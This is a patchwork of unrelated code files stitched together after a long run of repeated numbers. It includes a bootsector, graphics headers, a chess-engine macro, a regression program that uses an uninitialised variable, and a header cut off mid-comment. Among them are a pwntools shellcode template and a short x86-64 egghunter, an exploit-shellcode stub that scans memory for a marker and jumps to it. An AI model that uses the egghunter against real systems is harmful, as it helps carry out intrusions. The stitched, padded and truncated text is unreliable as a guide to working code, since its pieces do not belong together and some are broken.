36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
;JOS (Jacob Operating System) BOOTSECTOR
[org 0x7C00] ;start at memory address 0x7C00, the part of memory where the boot sector is.
[bits 16]
section .text
global main
main:
;reset segment registers and set stack pointer to entry point
cli ;clear interrupts
jmp 0x0000:zero_seg ;insures that BIOS isn't doing any weird segmenting stuff when we load into 0x7C00.
zero_seg:
xor ax, ax ;clears the ax register to zero. (same as doing mov ax, 0) saves extra space if you do it with xor.
mov ss, ax ;clears the segment registers
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov sp, main
cld ;clear direction flag, correcting for legacy BIOSes or for weird BIOSes. Makes sure we read strings the proper way.
sti ;reinstate interrupts
;resets the disk
push ax
xor ax, ax
mov dl, 0x80
int 0x13
;loads sectors from the disk
call read_disk
;mov ax, 0x2400
;int 0x15
call testA20 ;tests to see if the A20 line is disabled or enabled
mov dx, ax
call print_hex
;if the A20 line is disabled, but supported, enable it through the BIOS interrupt 0x15 (0xF in hex)
call enableA20
jmp sTwo ;once A20 is enabled, jump to sector two, and hang at the current memory position.
jmp $ ;safety hang
%include "./print_str.asm"
%include "./read_disk.asm"
%include "./print_hex.asm"
%include "./testA20.asm"
%include "./enableA20.asm"
DISK_ERR_MSG: db 'Error Loading Disk.', 0xA, 0xD, 0
TEST_STR: db 'You are in the second sector.', 0xA, 0xD, 0
NO_A20: db 'No A20 line.', 0xA, 0xD, 0
YES_LM: db 'Long mode support.', 0xA, 0xD, 0
NO_LM: db 'No long mode support.', 0xA, 0xD, 0
;padding and magic number
times 510 - ($-$$) db 0 ;pads the rest of the boot sector (minus the segment of code we've written)
dw 0xAA55 ;magic number
sTwo:
mov si, TEST_STR
call print_str
%include "./checklm.asm"
call checklm
jmp $
times 512 db 0 ;extra padding so QEmu doesn't think we've ran out of disk space
|
#pragma once
#define GLFW_INCLUDE_VULKAN
#include "GLFW/glfw3.h"
#include <string>
namespace procngen {
class Window {
private:
// Window properties
const int width_;
const int height_;
std::string window_name_;
GLFWwindow* window_;
void init_glfw_window();
void terminate_glfw_window();
public:
Window(const int& width, const int& height, const std::string& window_name);
~Window();
Window(const Window &) = delete;
Window &operator=(const Window &) = delete;
VkExtent2D getExtent();
void createWindowSurface(VkInstance instance, VkSurfaceKHR *surface);
};
} // namespace procngen |
//Linear Fit
#include<iostream>
#include<iomanip>
#include<cmath>
using namespace std;
int main()
{
double x[] = {10.2,11.4,11.5,12.5,13.1,13.4,13.6,15,15.2,15.3,15.6,16.4,16.5,17,17.1};
double y[] = {69.81,82.75,81.75,80.38,85.89,75.32,69.81,78.54,81.29,99.2,86.35,110.23,106.55,85.50,90.02};
int i,j,k,n;
cout<<"\n Cuantos partes de datos ingresaran?\n";
cin>>n;
double a0,a1,error,EE;
//cout<<"\n Pon los valores X\n";
//for (i=0;i<n;i++)
// cin>>x[i];
//cout<<"\n Pon los valores Y\n";
//for (i=0;i<n;i++)
//cin>>y[i];
double xsum=0,x2sum=0,ysum=0,xysum=0;
for (i=0;i<n;i++)
{
xsum=xsum+x[i];
ysum=ysum+y[i];
x2sum=x2sum+pow(x[i],2);
xysum=xysum+x[i]*y[i];
}
a0=(n*xysum-xsum*ysum)/(n*x2sum-xsum*xsum); // pendiente
a1=(x2sum*ysum-xsum*xysum)/(x2sum*n-xsum*xsum); // interseccion
cout<<"La regresion linear es y= "<<a0<<"x + "<<a1<<endl;
//coeficiente de correlación
double suma=0.0;
for(int i=0; i<n; i++){
suma+=x[i];
}
double mediaX=suma/n;
suma=0.0;
for(int i=0; i<n; i++){
suma+=y[i];
}
double mediaY=suma/n;
double pxy, sx2, sy2,err;
pxy=sx2=sy2=0.0;
for(int i=0; i<n; i++){
err+=pow((y[i]-mediaY),2);
pxy+=(x[i]-mediaX)*(y[i]-mediaY);
sx2+=(x[i]-mediaX)*(x[i]-mediaX);
sy2+=(y[i]-mediaY)*(y[i]-mediaY);
}
cout<<"\n Coeficiente de la relacion: "<<pxy/sqrt(sx2*sy2)<<"\n";
EE=sqrt(err/(n - 2));
cout<<"\n Error estandar "<< EE;
return 0;
}
|
macro EvalPawns Us
; in rbp address of Pos struct
; rdi address of pawn table entry
; out esi score
local Them, Up, Right, Left
local Isolated0, Isolated1, Backward0, Backward1, Doubled
local NextPiece, AllDone, Done, WritePawnSpan
local Neighbours_True, Neighbours_True__Lever_False
local Neighbours_True__Lever_False__RelRank_small, Neighbours_False
local Neighbours_True__Lever_True, Neighbours_True__Lever_False__RelRank_big
local Continue, NoPassed, PopLoop
if Us = White
Them = Black
Up = DELTA_N
Right = DELTA_NE
Left = DELTA_NW
else
Them = White
Up = DELTA_S
Right = DELTA_SW
Left = DELTA_SE
end if
Isolated0 = (27 shl 16) + (30)
Isolated1 = (13 shl 16) + (18)
Isolated = (13 shl 16) + (18)
Backward0 = (40 shl 16) + (26)
Backward1 = (24 shl 16) + (12)
Backward = (24 shl 16) + (12)
Doubled = ((18 shl 16) + (38))
xor eax, eax
mov qword[rdi+PawnEntry.passedPawns+8*Us], rax
mov qword[rdi+PawnEntry.pawnAttacksSpan+8*Us], rax
mov byte[rdi+PawnEntry.kingSquares+Us], 64
mov byte[rdi+PawnEntry.semiopenFiles+Us], 0xFF
mov r15, qword[rbp+Pos.typeBB+8*Pawn]
mov r14, r15
and r14, qword[rbp+Pos.typeBB+8*Them]
and r15, qword[rbp+Pos.typeBB+8*Us]
mov r13, r15
; r14 = their pawns
; r13 = our pawns = r15
mov rax, r15
ShiftBB Right, rax, rcx
mov rdx, r15
ShiftBB Left, rdx, rcx
or rax, rdx
mov qword[rdi+PawnEntry.pawnAttacks+8*Us], rax
mov rax, LightSquares
and rax, r15
_popcnt rax, rax, rcx
mov rdx, DarkSquares
and rdx, r15
_popcnt rdx, rdx, rcx
mov byte[rdi+PawnEntry.pawnsOnSquares+2*Us+White], al
mov byte[rdi+PawnEntry.pawnsOnSquares+2*Us+Black], dl
xor esi, esi
; esi = score
test r15, r15
jz AllDone
lea r15, [rbp+Pos.pieceList+16*(8*Us+Pawn)]
movzx ecx, byte[rbp+Pos.pieceList+16*(8*Us+Pawn)]
NextPiece:
add r15, 1
mov edx, ecx
and edx, 7
mov r12d, ecx
shr r12d, 3
mov rbx, qword[RankBB+8*r12]
if Us eq Black
xor r12d, 7
end if
; ecx = s, edx = f, r12d = relative_rank(Us, s)
movzx eax, byte[rdi+PawnEntry.semiopenFiles+Us]
btr eax, edx
mov byte[rdi+PawnEntry.semiopenFiles+Us], al
mov rax, [PawnAttackSpan+8*(64*Us+rcx)]
or qword[rdi+PawnEntry.pawnAttacksSpan+8*Us], rax
mov r11, r14
and r11, qword[ForwardBB+8*(64*Us+rcx)]
neg r11
sbb r11d, r11d
; r11d = opposed
mov rdx, qword[AdjacentFilesBB+8*rdx]
; rdx = adjacent_files_bb(f)
mov r10, qword[PassedPawnMask+8*(64*Us+rcx)]
and r10, r14
push r10
; r10 = stoppers
mov r8d, ecx
shr r8d, 3
mov r8, qword[RankBB+8*r8-Up]
mov r9, r13
and r9, rdx
; r9 = neighbours
and r8, r9
; r8 = supported
and rbx, r9
; rbx = phalanx
lea eax, [rcx-Up]
bt r13, rax
mov rax, r8 ; dirty trick relies on fact
sbb rax, 0 ; that r8>0 as signed qword
lea eax, [rsi-Doubled]
cmovs esi, eax
; doubled is taken care of
mov rax, qword[PawnAttacks+8*(64*Us+rcx)]
test r9, r9
jz Neighbours_False
Neighbours_True:
and rax, r14
cmovnz eax, dword[Lever+4*r12]
lea esi, [rsi+rax]
jnz Neighbours_True__Lever_True
Neighbours_True__Lever_False:
mov rax, r9
or rax, r10
if Us = White
cmp ecx, SQ_A5
jae Neighbours_True__Lever_False__RelRank_big
bsf rax, rax
else
cmp ecx, SQ_A5
jb Neighbours_True__Lever_False__RelRank_big
bsr rax, rax
end if
Neighbours_True__Lever_False__RelRank_small:
shr eax, 3
mov rax, qword[RankBB+8*rax]
and rdx, rax
ShiftBB Up, rdx
or rdx, rax
mov eax, -Backward
and rdx, r10
cmovnz edx, eax
; edx = backwards ? Backward[opposed] : 0
lea eax, [r11 + 1]
cmovnz r10d, eax
jmp Continue
Neighbours_False:
and rax, r14
cmovnz eax, dword[Lever+4*r12]
add esi, eax
mov edx, -Isolated
lea r10d, [r11 + 1]
jmp Continue
Neighbours_True__Lever_True:
Neighbours_True__Lever_False__RelRank_big:
xor edx, edx
xor r10, r10
Continue:
_popcnt rax, r8, r9
if CPU_HAS_POPCNT = 1
popcnt r9, rbx
else
push r10
_popcnt r9, rbx, r10
pop r10
end if
neg r11d
neg rbx
adc r11d, r11d
lea r11d, [3*r11]
add r11d, eax
lea r11d, [8*r11+r12]
; r11 = [opposed][!!phalanx][popcount(supported)][relative_rank(Us, s)]
or rbx, r8
cmovnz edx, dword[Connected+4*r11]
jnz @1f
if Us = Black
shl r10d, 4*Us
end if
add byte[rdi+PawnEntry.weakUnopposed], r10l
@1:
add esi, edx
; r8 = supported
; r9 = popcnt(phalanx)
; rax = popcnt(supported)
pop r10
; r10 = stoppers
mov r11, qword[PawnAttacks+8*(64*Us+rcx)]
and r11, r14
; r11 = lever
mov rdx, qword[PawnAttacks+8*(64*Us+rcx+Up)]
and rdx, r14
; rdx = leverPush
mov r12, r10
test r13, qword[ForwardBB+8*(64*Us+rcx)]
jnz NoPassed
xor r10, r11
xor r10, rdx
jnz NoPassed
_popcnt r11, r11, r10
_popcnt rdx, rdx, r10
sub rax, r11
sub r9, rdx
or rax, r9
js NoPassed
mov eax, 1
shl rax, cl
or qword[rdi+PawnEntry.passedPawns+8*Us], rax
jmp Done
NoPassed:
lea eax, [rcx+Up]
btc r12, rax
if Us eq White
shl r8, 8
cmp ecx, SQ_A5
jb Done
else
shr r8, 8
cmp ecx, SQ_A5
jae Done
end if
test r12, r12
jnz Done
_andn r8, r14, r8
jz Done
PopLoop:
bsf r9, r8
xor eax, eax
mov r9, qword[PawnAttacks+8*(64*Us+r9)]
and r9, r14
_blsr rdx, r9
setz al
shl rax, cl
or qword[rdi+PawnEntry.passedPawns+8*Us], rax
_blsr r8, r8, rax
jnz PopLoop
Done:
movzx ecx, byte[r15]
cmp ecx, 64
jb NextPiece
AllDone:
end macro
|
// -*- C++ -*-
//
//$Id: Marshal.inl 72845 2006-05-30 14:09:02Z jwillemsen $
TAO_BEGIN_VERSIONED_NAMESPACE_DECL
ACE_INLINE
TAO_Marshal_Object::TAO_Marshal_Object (void)
{
}
ACE_INLINE
TAO_Marshal_Primitive::TAO_Marshal_Primitive (void)
{
}
ACE_INLINE
TAO_Marshal_Any::TAO_Marshal_Any (void)
{
}
ACE_INLINE
TAO_Marshal_Principal::TAO_Marshal_Principal (void)
{
}
ACE_INLINE
TAO_Marshal_TypeCode::TAO_Marshal_TypeCode (void)
{
}
ACE_INLINE
TAO_Marshal_ObjRef::TAO_Marshal_ObjRef (void)
{
}
ACE_INLINE
TAO_Marshal_Struct::TAO_Marshal_Struct (void)
{
}
ACE_INLINE
TAO_Marshal_Union::TAO_Marshal_Union (void)
{
}
ACE_INLINE
TAO_Marshal_String::TAO_Marshal_String (void)
{
}
ACE_INLINE
TAO_Marshal_Sequence::TAO_Marshal_Sequence (void)
{
}
ACE_INLINE
TAO_Marshal_Array::TAO_Marshal_Array (void)
{
}
ACE_INLINE
TAO_Marshal_Alias::TAO_Marshal_Alias (void)
{
}
ACE_INLINE
TAO_Marshal_Except::TAO_Marshal_Except (void)
{
}
ACE_INLINE
TAO_Marshal_WString::TAO_Marshal_WString (void)
{
}
ACE_INLINE
TAO_Marshal_Value::TAO_Marshal_Value (void)
: nested_processing_ (false)
{
}
TAO_END_VERSIONED_NAMESPACE_DECL
|
# SYNTAX TEST "Packages/Assembly-6809/Assembly-6809.sublime-syntax"
# <- source.mc6809
label1 macro comment
# <- entity.name.type.constant
#^^^^^ entity.name.type.constant
# ^^^^^ support.function.directive.macro
endm
# ^^^^ support.function.directive.macro
label2 macro noexpand comment
# <- entity.name.type.constant
#^^^^^ entity.name.type.constant
# ^^^^^ support.function.directive.macro
# ^^^^^^^^ support.function.directive.macro
endm
# ^^^^ support.function.directive.macro
; no prefix label
; macro
;^^^^^ invalid.keyword.operator
label3 macro
lda #\1*2
# ^ punctuation.definition.macro
# ^ variable.language.macro
# ^ keyword.operator.arithmetic
# ^ constant.numeric.decimal
label1 ; comment
# ^^^^^^ constant.other
# ^ punctuation.definition.comment
# ^^^^^^^^^ comment.line
|
.include "defaults_item.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 0
card_id equ 15
card_no equ "015"
card_sub equ "Item Card 015"
card_sub_x equ 62
card_desc_len equ 1
card_desc_1 equ "Al's Train Ticket"
card_desc_2 equ ""
card_desc_3 equ ""
card_name_jp_full equ "鉄国男の乗車券"
card_name_jp_game equ "鉄国男のじょうしゃけん"
card_name_en_full equ "Al's Train Ticket"
card_name_en_game equ "Al's Train Ticket"
card_game_desc_jp_len equ 3
card_game_desc_jp_1 equ "鉄国男のじょうしゃけん!"
card_game_desc_jp_2 equ "チャージマンのナビチップ"
card_game_desc_jp_3 equ "3しゅるい を手に入れた!"
card_game_desc_en_len equ 3
card_game_desc_en_1 equ "Al's train ticket!"
card_game_desc_en_2 equ "Got 3 types of"
card_game_desc_en_3 equ "ChargeMan NaviChips!" |
<%
from pwnlib.shellcraft import i386
from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context
%>
<%page args="dest, src, stack_allowed = True"/>
<%docstring>
Thin wrapper around :func:`pwnlib.shellcraft.i386.mov`, which sets
`context.os` to `'freebsd'` before calling.
Example:
>>> print pwnlib.shellcraft.i386.freebsd.mov('eax', 'SYS_execve').rstrip()
push 0x3b
pop eax
</%docstring>
% with ctx.local(os = 'freebsd'):
${i386.mov(dest, src, stack_allowed)}
% endwith
|
global _start
section .text
_start:
xor rsi,rsi
push rsi ; starts the search at position 0
pop rdi
next_page:
or di,0xfff
inc rdi
next_4_bytes:
push 21
pop rax
syscall
cmp al,0xf2
jz next_page
mov eax,0xefbeefbd
inc al
scasd
jnz next_4_bytes
jmp rdi |
/*
See LICENSE file in root folder
*/
#ifndef ___C3D_RenderQuad_H___
#define ___C3D_RenderQuad_H___
#include "PassesModule.hpp"
#include "Castor3D/Buffer/UniformBufferOffset.hpp"
#include "Castor3D/Material/Texture/Sampler.hpp"
#include "Castor3D/Render/Passes/CommandsSemaphore.hpp"
#include <CastorUtils/Design/Named.hpp>
#include <CastorUtils/Design/Resource.hpp>
#include <ashespp/Buffer/VertexBuffer.hpp>
#include <ashespp/Command/CommandBuffer.hpp>
#include <ashespp/Descriptor/DescriptorSet.hpp>
#include <ashespp/Descriptor/DescriptorSetLayout.hpp>
#include <ashespp/Descriptor/DescriptorSetPool.hpp>
#include <ashespp/Pipeline/GraphicsPipeline.hpp>
#include <ashespp/Pipeline/PipelineLayout.hpp>
#include <ashespp/Pipeline/PipelineVertexInputStateCreateInfo.hpp>
#include <ashespp/Pipeline/PipelineViewportStateCreateInfo.hpp>
#include <type_traits>
namespace castor3d
{
namespace rq
{
/**
*\~english
*\brief
* Tells how the texture coordinates from the vertex buffer are built.
*\~french
*\brief
* Définit comment sont construites les coordonnées de texture du vertex buffer.
*/
struct Texcoord
{
/*
*\~english
*\brief
* Tells if the U coordinate of UV must be inverted, thus mirroring vertically the resulting image.
*\~french
* Dit si la coordonnée U de l'UV doit être inversée, rendant ainsi un miroir vertical de l'image.
*/
bool invertU{ false };
/*
*\~english
*\brief
* Tells if the U coordinate of UV must be inverted, thus mirroring horizontally the resulting image.
*\~french
* Dit si la coordonnée V de l'UV doit être inversée, rendant ainsi un miroir horizontal de l'image.
*/
bool invertV{ false };
};
struct BindingDescription
{
BindingDescription( VkDescriptorType descriptorType
, ashes::Optional< VkImageViewType > viewType
, VkShaderStageFlags stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT )
: descriptorType{ descriptorType }
, viewType{ viewType }
, stageFlags{ stageFlags }
{
}
VkDescriptorType descriptorType;
ashes::Optional< VkImageViewType > viewType;
VkShaderStageFlags stageFlags;
};
using BindingDescriptionArray = std::vector< BindingDescription >;
template< template< typename ValueT > typename WrapperT >
struct ConfigT
{
WrapperT< BindingDescriptionArray > bindings;
WrapperT< VkImageSubresourceRange > range;
WrapperT< Texcoord > texcoordConfig;
WrapperT< BlendMode > blendMode;
WrapperT< IntermediateView > tex3DResult;
};
template< typename TypeT >
struct RawTyperT
{
using Type = TypeT;
};
template< typename TypeT >
using RawTypeT = typename RawTyperT< TypeT >::Type;
using Config = ConfigT< ashes::Optional >;
using ConfigData = ConfigT< RawTypeT >;
}
class RenderQuad
: public castor::Named
{
template< typename ConfigT, typename BuilderT >
friend class RenderQuadBuilderT;
protected:
/**
*\~english
*\brief
* Constructor.
*\param[in] device
* The RenderDevice.
*\param[in] name
* The pass name.
*\param[in] samplerFilter
* The sampler filter for the source texture.
*\param[in] config
* The configuration.
*\~french
*\brief
* Constructeur.
*\param[in] device
* Le RenderDevice.
*\param[in] name
* Le nom de la passe.
*\param[in] samplerFilter
* Le filtre d'échantillonnage pour la texture source.
*\param[in] config
* La configuration.
*/
C3D_API RenderQuad( RenderDevice const & device
, castor::String const & name
, VkFilter samplerFilter
, rq::Config config );
public:
C3D_API virtual ~RenderQuad();
C3D_API explicit RenderQuad( RenderQuad && rhs )noexcept;
/**
*\~english
*\brief
* Cleans up GPU objects.
*\~french
*\brief
* Nettoie les objets GPU.
*/
C3D_API void cleanup();
/**
*\~english
*\brief
* Creates the rendering pipeline.
*\param[in] size
* The render size.
*\param[in] position
* The render position.
*\param[in] program
* The shader program.
*\param[in] renderPass
* The render pass to use.
*\param[in] pushRanges
* The push constant ranges.
*\param[in] dsState
* The depth and stencil state.
*\~french
*\brief
* Crée le pipeline de rendu.
*\param[in] size
* Les dimensions de rendu.
*\param[in] position
* La position du rendu.
*\param[in] program
* Le programme shader.
*\param[in] renderPass
* La passe de rendu à utiliser.
*\param[in] pushRanges
* Les intervalles de push constants.
*\param[in] dsState
* L'état de profondeur et stencil.
*/
C3D_API void createPipeline( VkExtent2D const & size
, castor::Position const & position
, ashes::PipelineShaderStageCreateInfoArray const & program
, ashes::RenderPass const & renderPass
, ashes::VkPushConstantRangeArray const & pushRanges = ashes::VkPushConstantRangeArray{}
, ashes::PipelineDepthStencilStateCreateInfo dsState = ashes::PipelineDepthStencilStateCreateInfo{ 0u, VK_FALSE, VK_FALSE } );
/**
*\~english
*\brief
* Creates the entries for one pass.
*\param[in] writes
* The pass descriptor writes.
*\~french
*\brief
* Crée les entrées pour une passe.
*\param[in] writes
* Les descriptor writes de la passe.
*/
C3D_API void registerPassInputs( ashes::WriteDescriptorSetArray const & writes
, bool invertY = false );
/**
*\~english
*\brief
* Initialises the descriptor sets for all registered passes.
*\~french
*\brief
* Crée les descriptor sets pour toute les passes enregistrées.
*/
C3D_API void initialisePasses();
/**
*\~english
*\brief
* Creates the rendering pipeline and initialises the quad for one pass.
*\param[in] size
* The render size.
*\param[in] position
* The render position.
*\param[in] program
* The shader program.
*\param[in] renderPass
* The render pass to use.
*\param[in] writes
* The pass descriptor writes.
*\param[in] pushRanges
* The push constant ranges.
*\param[in] dsState
* The depth stencil state to use.
*\~french
*\brief
* Crée le pipeline de rendu et initialise le quad pour une passe.
*\param[in] size
* Les dimensions de rendu.
*\param[in] position
* La position du rendu.
*\param[in] program
* Le programme shader.
*\param[in] renderPass
* La passe de rendu à utiliser.
*\param[in] writes
* Les descriptor writes de la passe.
*\param[in] pushRanges
* Les intervalles de push constants.
*\param[in] dsState
* L'état de profondeur et stencil à utiliser.
*/
C3D_API void createPipelineAndPass( VkExtent2D const & size
, castor::Position const & position
, ashes::PipelineShaderStageCreateInfoArray const & program
, ashes::RenderPass const & renderPass
, ashes::WriteDescriptorSetArray const & writes
, ashes::VkPushConstantRangeArray const & pushRanges = ashes::VkPushConstantRangeArray{}
, ashes::PipelineDepthStencilStateCreateInfo dsState = ashes::PipelineDepthStencilStateCreateInfo{ 0u, false, false } );
/**
*\~english
*\brief
* Prpares the commands to render the quad, inside given command buffer.
*\param[in,out] commandBuffer
* The command buffer.
*\param[in] descriptorSetIndex
* The render descriptor set index.
*\~french
*\brief
* Prépare les commandes de dessin du quad, dans le tampon de commandes donné.
*\param[in,out] commandBuffer
* Le tampon de commandes.
*\param[in] descriptorSetIndex
* L'indice du descriptor set.
*/
C3D_API void registerPass( ashes::CommandBuffer & commandBuffer
, uint32_t descriptorSetIndex )const;
/**
*\~english
*\brief
* Prpares the commands to render the quad, inside given command buffer.
*\param[in,out] commandBuffer
* The command buffer.
*\~french
*\brief
* Prépare les commandes de dessin du quad, dans le tampon de commandes donné.
*\param[in,out] commandBuffer
* Le tampon de commandes.
*/
void registerPass( ashes::CommandBuffer & commandBuffer )const
{
registerPass( commandBuffer, 0u );
}
/**
*\~english
*\brief
* Creates a descriptor write for combined image sampler.
*\param[in] view
* The image view.
*\param[in] sampler
* The sampler.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour un sampler et une image combinés.
*\param[in] view
* La vue sur l'image.
*\param[in] sampler
* Le sampler.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
C3D_API static ashes::WriteDescriptorSet makeDescriptorWrite( VkImageView const & view
, VkSampler const & sampler
, uint32_t dstBinding
, uint32_t dstArrayElement = 0u );
/**
*\~english
*\brief
* Creates a descriptor write for combined image sampler.
*\param[in] view
* The image view.
*\param[in] sampler
* The sampler.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour un sampler et une image combinés.
*\param[in] view
* La vue sur l'image.
*\param[in] sampler
* Le sampler.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
C3D_API static ashes::WriteDescriptorSet makeDescriptorWrite( ashes::ImageView const & view
, ashes::Sampler const & sampler
, uint32_t dstBinding
, uint32_t dstArrayElement = 0u );
/**
*\~english
*\brief
* Creates a descriptor write for uniform buffer.
*\param[in] buffer
* The uniform buffer.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] elemOffset
* The offset, expressed in element count.
*\param[in] elemRange
* The range, expressed in element count.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour un uniform buffer.
*\param[in] buffer
* L'uniform buffer.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] elemOffset
* L'offset, exprimé en nombre d'éléments.
*\param[in] elemRange
* L'intervalle, exprimé en nombre d'éléments.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
C3D_API static ashes::WriteDescriptorSet makeDescriptorWrite( ashes::UniformBuffer const & buffer
, uint32_t dstBinding
, uint32_t elemOffset
, uint32_t elemRange
, uint32_t dstArrayElement = 0u );
/**
*\~english
*\brief
* Creates a descriptor write for uniform buffer range.
*\param[in] buffer
* The uniform buffer range.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour un intervalle d'uniform buffer.
*\param[in] buffer
* L'intervalle d'uniform buffer.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
template< typename DataT >
static ashes::WriteDescriptorSet makeDescriptorWrite( UniformBufferOffsetT< DataT > const & buffer
, uint32_t dstBinding
, uint32_t dstArrayElement = 0u )
{
return buffer.getDescriptorWrite( dstBinding
, dstArrayElement );
}
/**
*\~english
*\brief
* Creates a descriptor write for storage buffer.
*\param[in] storageBuffer
* The storage buffer.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] byteOffset
* The offset, expressed in bytes.
*\param[in] byteRange
* The range, expressed in bytes.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour un storage buffer.
*\param[in] storageBuffer
* Le storage buffer.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] byteOffset
* L'offset, exprimé en octets.
*\param[in] byteRange
* L'intervalle, exprimé en octets.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
C3D_API static ashes::WriteDescriptorSet makeDescriptorWrite( ashes::BufferBase const & storageBuffer
, uint32_t dstBinding
, uint32_t byteOffset
, uint32_t byteRange
, uint32_t dstArrayElement = 0u );
/**
*\~english
*\brief
* Creates a descriptor write for storage buffer.
*\param[in] storageBuffer
* The storage buffer.
*\param[in] dstBinding
* The binding inside the descriptor set.
*\param[in] elemOffset
* The offset, expressed in element count.
*\param[in] elemRange
* The range, expressed in element count.
*\param[in] dstArrayElement
* The array element index.
*\~french
*\brief
* Crée un descriptor write pour un storage buffer.
*\param[in] storageBuffer
* Le storage buffer.
*\param[in] dstBinding
* Le binding dans le descriptor set.
*\param[in] elemOffset
* L'offset, exprimé en nombre d'éléments.
*\param[in] elemRange
* L'intervalle, exprimé en nombre d'éléments.
*\param[in] dstArrayElement
* L'indice dans le tableau d'éléments.
*/
template< typename DataT >
static ashes::WriteDescriptorSet makeDescriptorWrite( ashes::Buffer< DataT > const & storageBuffer
, uint32_t dstBinding
, uint32_t elemOffset
, uint32_t elemRange
, uint32_t dstArrayElement = 0u )
{
return makeDescriptorWrite( storageBuffer.getBuffer()
, dstBinding
, uint32_t( elemOffset * sizeof( DataT ) )
, uint32_t( elemRange * sizeof( DataT ) )
, dstArrayElement );
}
/**
*\~english
*\brief
